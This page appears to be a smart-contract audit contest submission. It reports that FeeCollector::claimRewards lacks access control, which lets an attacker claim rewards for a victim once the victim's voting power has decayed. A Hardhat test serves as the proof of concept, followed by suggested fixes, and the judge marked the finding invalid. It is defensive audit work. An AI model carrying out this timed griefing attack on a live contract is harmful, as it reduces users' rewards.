Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

Missing access control in FeeCollector::claimRewards enables griefing attacks and reward manipulation

Description

The FeeCollector::claimRewards function lacks authorization checks, allowing any address to claim rewards on behalf of arbitrary users. This enables malicious actors to trigger reward claims when victims' voting power has decayed to minimal levels, reducing their eligible rewards due to the baseline reset mechanism in userRewards.

Proof of Concept

  1. User A locks tokens for 1 year, receiving maximum initial voting power

  2. Voting power decays linearly over time

  3. Attacker waits until victim's voting power nears expiration:

// Voting power calculation with decay
int128 adjustedBias = point.bias - (point.slope * int128(int256(timeDelta)));
  • Attacker calls claimRewards(victim) when voting power is minimal but non-zero

  • Protocol calculates rewards using decayed voting power:

uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
  • userRewards[userA] is set to current totalDistributed, preventing future claims at higher voting power levels

Add this test to FeeCollector.test.js:

it("allows griefing attacks through unauthorized claims", async function () {
const originalBalance = await raacToken.balanceOf(user1.address);
// Initial distribution
await feeCollector.connect(owner).distributeCollectedFees();
const totalDistributed = await feeCollector.totalDistributed();
// Verify pre-claim rewards
const initialPending = await feeCollector.getPendingRewards(user1.address);
expect(initialPending).to.be.gt(0); // Ensure rewards exist
// Advance to near end of lock period (1 week before expiration)
await time.increase(ONE_YEAR - WEEK);
// Attacker claims with decayed but non-zero voting power
await feeCollector.connect(user2).claimRewards(user1.address);
// Verify rewards were claimed at reduced rate
const finalBalance = await raacToken.balanceOf(user1.address);
// Less than 100 wei of rewards received
expect(finalBalance - originalBalance)
.to.be.gt(0)
.and.lt(ethers.parseUnits("100", "wei"));
// User rewards marked at totalDistributed, setting baseline of future rewards
expect(totalDistributed).to.be.equal(await feeCollector.userRewards(user1));
});

Impact

Medium Severity - Allows permanent reduction of user rewards through timed attacks, disrupting protocol's incentive alignment. While not directly stealing funds, it enables manipulation of reward distribution schedules and breaks core protocol guarantees.

Recommendation

  • Add Role-Based Access Control:

contracts/core/collectors/FeeCollector.sol
function claimRewards(address user) external override nonReentrant whenNotPaused returns (uint256) {
+ if (msg.sender != user && !hasRole(DISTRIBUTOR_ROLE, msg.sender)) {
+ revert UnauthorizedCaller();
+ }
// ... existing code ...
}
  • Introduce Claim Approval System:

mapping(address => mapping(address => bool)) public claimApprovals;
function approveClaimer(address claimer) external {
claimApprovals[msg.sender][claimer] = true;
}
// Modified claim function
function claimRewards(address user) external {
require(msg.sender == user || claimApprovals[user][msg.sender],
"Not authorized");
// ... existing logic ...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!